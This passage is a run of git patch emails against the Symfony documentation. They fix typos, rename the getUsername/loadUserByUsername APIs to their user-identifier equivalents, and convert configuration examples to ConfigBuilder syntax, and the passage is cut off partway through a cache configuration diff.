 
-            // get $foo and $bar from the event, they may have been modified
+            // get $subject and $message from the event, they may have been modified
             $subject = $event->getSubject();
             $message = $event->getMessage();
 
@@ -134,7 +134,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
         public static function getSubscribedEvents()
         {
             return [
-                'mailer.post_send' => 'onMailerPostSend'
+                'mailer.post_send' => 'onMailerPostSend',
             ];
         }
     }

From 0e6ed437b0a6e089811a4f97024fb6a6045b9c09 Mon Sep 17 00:00:00 2001
From: Neal Brooks <nealio82@gmail.com>
Date: Fri, 23 Apr 2021 21:41:58 +0100
Subject: [PATCH 0788/5766] fix 'eachother' -> 'each other'

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 75ed2946009..8c00c827a9a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -128,7 +128,7 @@ class to help you creating and booting the kernel in your tests using
     }
 
 The ``KernelTestCase`` also makes sure your kernel is rebooted for each
-test. This assures that each test is run independently from eachother.
+test. This assures that each test is run independently from each other.
 
 To run your application tests, the ``KernelTestCase`` class needs to
 find the application kernel to initialize. The kernel class is

From e6818803044f7331e2bb1f0350eb31da841563a7 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 24 Apr 2021 18:01:34 +0200
Subject: [PATCH 0789/5766] Minor rewording

---
 reference/forms/types/options/label.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 9797b6264cf..3d9b6bd1674 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -3,8 +3,8 @@
 
 **type**: ``string`` **default**: The label is "guessed" from the field name
 
-Sets the label that will be used when rendering the field. Setting to false
-will suppress the label. The label can also be directly set inside the template:
+Sets the label that will be used when rendering the field. Setting to ``false``
+will suppress the label. The label can also be set in the template:
 
 .. configuration-block::
 

From 0df93933009db1380ea525f228e11c8b479ee5c0 Mon Sep 17 00:00:00 2001
From: jean-marie leroux <jmleroux.pro@gmail.com>
Date: Fri, 23 Apr 2021 18:04:48 +0200
Subject: [PATCH 0790/5766] [Security] Fixes typo in experimental
 authenticators

`$email` was not defined in the example.
---
 security/experimental_authenticators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index b7734ef88e0..027b1087d1d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -582,7 +582,7 @@ would initialize the passport like this::
             // ... validate no parameter is empty
 
             return new Passport(
-                new UserBadge($email),
+                new UserBadge($username),
                 new PasswordCredentials($password),
                 [new CsrfTokenBadge('login', $csrfToken)]
             );

From c471e642fec742a7ad57e8210a866a0566928c71 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 26 Apr 2021 11:19:05 +0200
Subject: [PATCH 0791/5766] Remove personal e-mailaddress from the code example

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 0c8309aec71..03837f04462 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -508,7 +508,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+            $notifier->send($notification, new Recipient('wouter@example.com'));
 
             // ...
         }

From 16050c8e68adddd98736963c92b9bd7db63aa347 Mon Sep 17 00:00:00 2001
From: Remon van de Kamp <rpkamp@gmail.com>
Date: Mon, 26 Apr 2021 21:08:32 +0200
Subject: [PATCH 0792/5766] Make it clear that configuring a constraint doesn't
 enforce anything

---
 validation.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 55d0c6aaed5..65f174d5094 100644
--- a/validation.rst
+++ b/validation.rst
@@ -47,7 +47,7 @@ order to be valid. These rules are usually defined using PHP code or
 annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
 the ``config/validator/`` directory:
 
-For example, to guarantee that the ``$name`` property is not empty, add the
+For example, to indicate that the ``$name`` property must not be empty, add the
 following:
 
 .. configuration-block::
@@ -110,6 +110,11 @@ following:
             }
         }
 
+Adding this configuration by itself does not yet guarantee that the value will
+not be blank; you can still set it to a blank value if you want.
+To actually guarantee that the value adheres to the constraint, the object must
+be passed to the Validator Service to be checked.
+
 .. tip::
 
     Symfony's validator uses PHP reflection, as well as *"getter"* methods, to

From 778594cbd5225974cc5df03d13a4fdd5ea2833fe Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Tue, 27 Apr 2021 19:17:25 +0300
Subject: [PATCH 0793/5766] match example with description above

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bae2c262213..0421561a1e0 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1491,7 +1491,7 @@ and ``BitBucketCodeRepository`` classes:
          *    "bitbucket"="App\BitBucketCodeRepository"
          * })
          */
-        interface CodeRepository
+        abstract class CodeRepository
         {
             // ...
         }

From ec1920e0712786b00c5d138ebf79fcd1bba726be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Apr 2021 11:09:11 +0200
Subject: [PATCH 0794/5766] [Runtime] Minor fixes

---
 components/runtime.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 2bdad2e38f5..cf11c81e60f 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -46,7 +46,7 @@ the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
 #. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
-   is to resolve the arguments (in this example: ``array $content``);
+   is to resolve the arguments (in this example: ``array $context``);
 #. Then, this callable is called to get the application (``App\Kernel``);
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
@@ -172,12 +172,12 @@ a number of different applications are supported::
 The ``SymfonyRuntime`` can handle these applications:
 
 :class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface`
-    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
+    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner`
     like a "standard" Symfony application.
 
 :class:`Symfony\\Component\\HttpFoundation\\Response`
     The Response will be printed by
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`::
 
         <?php
         // public/index.php
@@ -191,7 +191,7 @@ The ``SymfonyRuntime`` can handle these applications:
 
 :class:`Symfony\\Component\\Console\\Command\\Command`
     To write single command applications. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
         <?php
 
@@ -211,7 +211,7 @@ The ``SymfonyRuntime`` can handle these applications:
 
 :class:`Symfony\\Component\\Console\\Application`
     Useful with console applications with more than one command. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
         <?php
 
@@ -361,7 +361,7 @@ class will have more control and can fix bugs and add features.
 
 .. note::
 
-    Before Symfony 5.3, the Symfony boostrap logic was part of a Flex recipe.
+    Before Symfony 5.3, the Symfony bootstrap logic was part of a Flex recipe.
     Since recipes are rarely updated by users, bug patches would rarely be
     installed.
 
@@ -377,7 +377,7 @@ application outside of the global state in 6 steps:
    represents the application.
 #. This *application object* is passed to ``RuntimeInterface::getRunner()``, which
    returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
-   that knows how to "run" the appliction object.
+   that knows how to "run" the application object.
 #. The ``RunnerInterface::run(object $application)`` is called and it returns the
    exit status code as `int`.
 #. The PHP engine is exited with this status code.

From f2b7ad9ab5ed02ac50917c929e5776c64e3dee4f Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Thu, 29 Apr 2021 18:06:43 +0200
Subject: [PATCH 0795/5766] Updates method reference for retrieving console
 helpers

---
 components/console/helpers/formatterhelper.rst | 4 ++--
 components/console/helpers/questionhelper.rst  | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index ad2bded040b..78dd3dfa581 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -9,8 +9,8 @@ You can do more advanced things with this helper than you can in
 :doc:`/console/coloring`.
 
 The :class:`Symfony\\Component\\Console\\Helper\\FormatterHelper` is included
-in the default helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+in the default helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $formatter = $this->getHelper('formatter');
 
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2174550a0cd..9c1696a7569 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -6,8 +6,8 @@ Question Helper
 
 The :class:`Symfony\\Component\\Console\\Helper\\QuestionHelper` provides
 functions to ask the user for more information. It is included in the default
-helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $helper = $this->getHelper('question');
 

From 3cceddc8141137b9887e101b951df46c8b1c5992 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Thu, 29 Apr 2021 23:20:24 +0300
Subject: [PATCH 0796/5766] Added caution notice about nested bundle configs

---
 configuration.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index fbd36889577..f2d0e4c0780 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -876,7 +876,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
                     ->bind('$projectDir', '%kernel.project_dir%');
-            
+
             // ...
         };
 
@@ -953,6 +953,12 @@ namespace ``Symfony\Config``::
         $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
     };
 
+.. caution::
+
+    Note that only "root" classes in the namespace ``Symfony\Config`` are ConfigBuilders.
+    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are the Plain Old PHP
+    Objects and cannot be autowired when you specify it as an argument type.
+
 Keep Going!
 -----------
 

From ce457e0c2aa9625f2f2272e54df3b8576639f433 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Apr 2021 19:47:05 +0200
Subject: [PATCH 0797/5766] [Security] Removed some deprecated features related
 to User::getUsername()

---
 controller/argument_value_resolver.rst      |  2 +-
 reference/configuration/security.rst        |  4 +--
 routing.rst                                 |  6 ++--
 security/custom_authentication_provider.rst |  5 ++-
 security/experimental_authenticators.rst    |  2 +-
 security/guard_authentication.rst           |  4 +--
 security/json_login_setup.rst               |  4 ++-
 security/login_link.rst                     |  2 +-
 security/user_provider.rst                  | 40 ++++++++++-----------
 9 files changed, 37 insertions(+), 32 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index c9693bbaf9b..ebc59a02bf5 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -75,7 +75,7 @@ with the ``User`` class::
     {
         public function index(User $user)
         {
-            return new Response('Hello '.$user->getUsername().'!');
+            return new Response('Hello '.$user->getUserIdentifier().'!');
         }
     }
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 053ff55e300..630c65879f1 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -89,8 +89,8 @@ If ``true``, when a user is not found a generic exception of type
 is thrown with the message "Bad credentials".
 
 If ``false``, the exception thrown is of type
-:class:`Symfony\\Component\\Security\\Core\\Exception\\UsernameNotFoundException`
-and it includes the given not found username.
+:class:`Symfony\\Component\\Security\\Core\\Exception\\UserNotFoundException`
+and it includes the given not found user identifier.
 
 session_fixation_strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/routing.rst b/routing.rst
index 191e255aab6..641d4e43b2f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2402,7 +2402,7 @@ use the ``generateUrl()`` helper::
 
             // generate a URL with route arguments
             $userProfilePage = $this->generateUrl('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2472,7 +2472,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2595,7 +2595,7 @@ Now you'll get the expected results when generating URLs in your commands::
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index a638169f4f0..04c94a4a82c 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -218,7 +218,10 @@ the ``PasswordDigest`` header value matches with the user's password::
 
         public function authenticate(TokenInterface $token): WsseUserToken
         {
-            $user = $this->userProvider->loadUserByUsername($token->getUsername());
+            // The loadUserByIdentifier() and getUserIdentifier() methods were
+            // introduced in Symfony 5.3. In previous versions they were called
+            // loadUserByUsername() and getUsername() respectively
+            $user = $this->userProvider->loadUserByIdentifier($token->getUserIdentifier());
 
             if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
                 $authenticatedToken = new WsseUserToken($user->getRoles());
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index b7734ef88e0..b35dbd79559 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -456,7 +456,7 @@ using :ref:`the user provider <security-user-providers>`::
     You can optionally pass a user loader as second argument to the
     ``UserBadge``. This callable receives the ``$userIdentifier``
     and must return a ``UserInterface`` object (otherwise a
-    ``UsernameNotFoundException`` is thrown)::
+    ``UserNotFoundException`` is thrown)::
 
         // src/Security/CustomAuthenticator.php
         namespace App\Security;
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index ebd1c2471ce..7108ba0906e 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -172,10 +172,10 @@ This requires you to implement several methods::
                 return null;
             }
 
-            // The "username" in this case is the apiToken, see the key `property`
+            // The user identifier in this case is the apiToken, see the key `property`
             // of `your_db_provider` in `security.yaml`.
             // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByUsername($credentials);
+            return $userProvider->loadUserByIdentifier($credentials);
         }
 
         public function checkCredentials($credentials, UserInterface $user): bool
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 6758a3917ef..41107f9f46a 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -85,7 +85,9 @@ The next step is to configure a route in your app matching this path:
                 $user = $this->getUser();
 
                 return $this->json([
-                    'username' => $user->getUsername(),
+                    // The getUserIdentifier() method was introduced in Symfony 5.3.
+                    // In previous versions it was called getUsername()
+                    'username' => $user->getUserIdentifier(),
                     'roles' => $user->getRoles(),
                 ]);
             }
diff --git a/security/login_link.rst b/security/login_link.rst
index 8abe8a05a27..ed8bb195e15 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -401,7 +401,7 @@ The signed URL contains 3 parameters:
     The UNIX timestamp when the link expires.
 
 ``user``
-    The value returned from ``$user->getUsername()`` for this user.
+    The value returned from ``$user->getUserIdentifier()`` for this user.
 
 ``hash``
     A hash of ``expires``, ``user`` and any configured signature
diff --git a/security/user_provider.rst b/security/user_provider.rst
index d4c26e9cc5a..e7a3cdec79a 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -124,7 +124,7 @@ the ``property`` config key. If you want a bit more control over this - e.g. you
 want to find a user by ``email`` *or* ``username``, you can do that by making
 your ``UserRepository`` implement the
 :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This
-interface only requires one method: ``loadUserByUsername($username)``::
+interface only requires one method: ``loadUserByIdentifier($identifier)``::
 
     // src/Repository/UserRepository.php
     namespace App\Repository;
@@ -137,7 +137,9 @@ interface only requires one method: ``loadUserByUsername($username)``::
     {
         // ...
 
-        public function loadUserByUsername(string $usernameOrEmail): ?User
+        // The loadUserByIdentifier() method was introduced in Symfony 5.3.
+        // In previous versions it was called loadUserByUsername()
+        public function loadUserByIdentifier(string $usernameOrEmail): ?User
         {
             $entityManager = $this->getEntityManager();
 
@@ -209,7 +211,7 @@ To finish this, remove the ``property`` key from the user provider in
 This tells Symfony to *not* query automatically for the User. Instead, when
 needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
 :doc:`Remember Me </security/remember_me>`, or some other security feature is
-activated), the ``loadUserByUsername()`` method on ``UserRepository`` will be called.
+activated), the ``loadUserByIdentifier()`` method on ``UserRepository`` will be called.
 
 .. _security-memory-user-provider:
 
@@ -367,7 +369,7 @@ command will generate a nice skeleton to get you started::
     namespace App\Security;
 
     use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
+    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
@@ -375,23 +377,21 @@ command will generate a nice skeleton to get you started::
     class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         /**
-         * Symfony calls this method if you use features like switch_user
-         * or remember_me.
-         *
-         * If you're not using these features, you do not need to implement
-         * this method.
+         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
+         * In previous versions it was called loadUserByUsername()
          *
-         * @return UserInterface
+         * Symfony calls this method if you use features like switch_user
+         * or remember_me. If you're not using these features, you do not
+         * need to implement this method.
          *
-         * @throws UsernameNotFoundException if the user is not found
+         * @throws UserNotFoundException if the user is not found
          */
-        public function loadUserByUsername(string $username)
+        public function loadUserByIdentifier(string $identifier): UserInterface
         {
-            // Load a User object from your data source or throw UsernameNotFoundException.
-            // The $username argument may not actually be a username:
-            // it is whatever value is being returned by the getUsername()
-            // method in your User class.
-            throw new \Exception('TODO: fill in loadUserByUsername() inside '.__FILE__);
+            // Load a User object from your data source or throw UserNotFoundException.
+            // The $identifier argument is whatever value is being returned by the
+            // getUserIdentifier() method in your User class.
+            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
         }
 
         /**
@@ -414,7 +414,7 @@ command will generate a nice skeleton to get you started::
             }
 
             // Return a User object after making sure its data is "fresh".
-            // Or throw a UsernameNotFoundException if the user no longer exists.
+            // Or throw a UserNotFoundException if the user no longer exists.
             throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
         }
 
@@ -467,8 +467,8 @@ request, it's deserialized and then passed to your user provider to "refresh" it
 Then, the two User objects (the original from the session and the refreshed User
 object) are "compared" to see if they are "equal". By default, the core
 ``AbstractToken`` class compares the return values of the ``getPassword()``,
-``getSalt()`` and ``getUsername()`` methods. If any of these are different, your
-user will be logged out. This is a security measure to make sure that malicious
+``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
+your user will be logged out. This is a security measure to make sure that malicious
 users can be de-authenticated if core user data changes.
 
 However, in some cases, this process can cause unexpected authentication problems.

From 2824979e952fcb85a64fea3948b5d8da3133c8c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Apr 2021 15:54:09 +0200
Subject: [PATCH 0798/5766] Tweaks

---
 configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index f2d0e4c0780..3a42a45680f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -953,11 +953,11 @@ namespace ``Symfony\Config``::
         $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
     };
 
-.. caution::
+.. note::
 
-    Note that only "root" classes in the namespace ``Symfony\Config`` are ConfigBuilders.
-    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are the Plain Old PHP
-    Objects and cannot be autowired when you specify it as an argument type.
+    Only root classes in the namespace ``Symfony\Config`` are ConfigBuilders.
+    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular
+    PHP objects which aren't autowired when using them as an argument type.
 
 Keep Going!
 -----------

From e57adb90d840d7cde2e419a0c5b27c3d7280e0df Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 11:51:36 +0200
Subject: [PATCH 0799/5766] [ConfigBuilder] Replace all framework config

---
 bundles/configuration.rst                |  21 +-
 cache.rst                                | 217 ++++++------
 configuration/env_var_processors.rst     |  66 ++--
 configuration/micro_kernel_trait.rst     |  15 +-
 configuration/override_dir_structure.rst |  12 +-
 configuration/secrets.rst                |  16 +-
 controller/error_pages.rst               |   8 +-
 deployment/proxies.rst                   |  22 +-
 frontend/custom_version_strategy.rst     |  11 +-
 http_cache/esi.rst                       |  21 +-
 http_cache/ssi.rst                       |  12 +-
 http_client.rst                          | 144 ++++----
 lock.rst                                 |  68 ++--
 mailer.rst                               | 103 +++---
 messenger.rst                            | 419 +++++++++++------------
 messenger/custom-transport.rst           |  15 +-
 messenger/multiple_buses.rst             |  46 +--
 notifier.rst                             | 107 +++---
 rate_limiter.rst                         |  63 ++--
 reference/configuration/framework.rst    | 247 ++++++-------
 security.rst                             |  64 ++--
 security/csrf.rst                        |  10 +-
 security/remember_me.rst                 |   2 +-
 session/database.rst                     |  36 +-
 session/php_bridge.rst                   |  28 +-
 session/proxy_examples.rst               |  13 +-
 templating/hinclude.rst                  |  12 +-
 testing/profiling.rst                    |  16 +-
 translation.rst                          |  39 ++-
 translation/locale.rst                   |  10 +-
 validation.rst                           |  24 +-
 workflow.rst                             | 233 +++++++------
 workflow/dumping-workflows.rst           | 131 ++++---
 workflow/workflow-and-state-machine.rst  | 108 +++---
 34 files changed, 1204 insertions(+), 1155 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 520e1f04220..198ac07450d 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -40,9 +40,11 @@ as integration of other related components:
 
     .. code-block:: php
 
-        $container->loadFromExtension('framework', [
-            'form' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->enabled(true);
+        };
 
 Using the Bundle Extension
 --------------------------
@@ -81,12 +83,13 @@ can add some configuration that looks like this:
     .. code-block:: php
 
         // config/packages/acme_social.php
-        $container->loadFromExtension('acme_social', [
-            'twitter' => [
-                'client_id'     => 123,
-                'client_secret' => 'your_secret',
-            ],
-        ]);
+        use Symfony\Config\AcmeSocialConfig;
+
+        return static function (AcmeSocialConfig $acmeSocial) {
+            $acmeSocial->twitter()
+                ->clientId(123)
+                ->clientSecret('your_secret');
+        };
 
 The basic idea is that instead of having the user override individual
 parameters, you let the user configure just a few, specifically created,
diff --git a/cache.rst b/cache.rst
index 6eb17035e5f..f9a8c42b554 100644
--- a/cache.rst
+++ b/cache.rst
@@ -85,12 +85,15 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'app' => 'cache.adapter.filesystem',
-                'system' => 'cache.adapter.system',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->app('cache.adapter.filesystem')
+                ->system('cache.adapter.system')
+            ;
+        };
+
 
 The Cache component comes with a series of adapters pre-configured:
 
@@ -165,23 +168,24 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                // Only used with cache.adapter.filesystem
-                'directory' => '%kernel.cache_dir%/pools',
+        use Symfony\Config\FrameworkConfig;
 
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                // Only used with cache.adapter.filesystem
+                ->directory('%kernel.cache_dir%/pools')
                 // Service: cache.doctrine
-                'default_doctrine_provider' => 'app.doctrine_cache',
+                ->defaultDoctrineProvider('app.doctrine_cache')
                 // Service: cache.psr6
-                'default_psr6_provider' => 'app.my_psr6_service',
+                ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
-                'default_redis_provider' => 'redis://localhost',
+                ->defaultRedisProvider('redis://localhost')
                 // Service: cache.memcached
-                'default_memcached_provider' => 'memcached://localhost',
+                ->defaultMemcachedProvider('memcached://localhost')
                 // Service: cache.pdo
-                'default_pdo_provider' => 'doctrine.dbal.default_connection',
-            ],
-        ]);
+                ->defaultPdoProvider('doctrine.dbal.default_connection')
+            ;
+        };
 
 .. _cache-create-pools:
 
@@ -267,43 +271,36 @@ You can also create more customized pools:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'default_memcached_provider' => 'memcached://localhost',
-                'pools' => [
-                    // creates a "custom_thing.cache" service
-                    // autowireable via "CacheInterface $customThingCache"
-                    // uses the "app" cache configuration
-                    'custom_thing.cache' => [
-                        'adapter' => 'cache.app',
-                    ],
-
-                    // creates a "my_cache_pool" service
-                    // autowireable via "CacheInterface $myCachePool"
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.filesystem',
-                    ],
-
-                    // uses the default_memcached_provider from above
-                    'acme.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                    ],
-
-                    // control adapter's configuration
-                    'foobar.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
-
-                    // uses the "foobar.cache" pool as its backend but controls
-                    // the lifetime and (like all pools) has a separate cache namespace
-                    'short_cache' => [
-                        'adapter' => 'foobar.cache',
-                        'default_lifetime' => 60,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $cache = $framework->cache();
+            $cache->defaultMemcachedProvider('memcached://localhost');
+
+            // creates a "custom_thing.cache" service
+            // autowireable via "CacheInterface $customThingCache"
+            // uses the "app" cache configuration
+            $cache->pool('custom_thing.cache')
+                ->adapters(['cache.app']);
+
+            // creates a "my_cache_pool" service
+            // autowireable via "CacheInterface $myCachePool"
+            $cache->pool('my_cache_pool')
+                ->adapters(['cache.adapter.filesystem']);
+
+            // uses the default_memcached_provider from above
+            $cache->pool('acme.cache')
+                ->adapters(['cache.adapter.memcached']);
+
+             // control adapter's configuration
+            $cache->pool('foobar.cache')
+                ->adapters(['cache.adapter.memcached'])
+                ->provider('memcached://user:password@example.com');
+
+            $cache->pool('short_cache')
+                ->adapters(['foobar.cache'])
+                ->defaultLifetime(60);
+        };
 
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
@@ -442,26 +439,25 @@ and use that when configuring the pool.
 
         // config/packages/cache.php
         use Symfony\Component\Cache\Adapter\RedisAdapter;
-
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.my_redis' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'provider' => 'app.my_custom_redis_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-        $container->register('app.my_custom_redis_provider', \Redis::class)
-            ->setFactory([RedisAdapter::class, 'createConnection'])
-            ->addArgument('redis://localhost')
-            ->addArgument([
-                'retry_interval' => 2,
-                'timeout' => 10
-            ])
-        ;
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.my_redis')
+                    ->adapters(['cache.adapter.redis'])
+                    ->provider('app.my_custom_redis_provider');
+
+
+            $container->register('app.my_custom_redis_provider', \Redis::class)
+                ->setFactory([RedisAdapter::class, 'createConnection'])
+                ->addArgument('redis://localhost')
+                ->addArgument([
+                    'retry_interval' => 2,
+                    'timeout' => 10
+                ])
+            ;
+        };
 
 Creating a Cache Chain
 ----------------------
@@ -521,20 +517,19 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'default_lifetime' => 31536000, // One year
-                        'adapters' => [
-                            'cache.adapter.array',
-                            'cache.adapter.apcu',
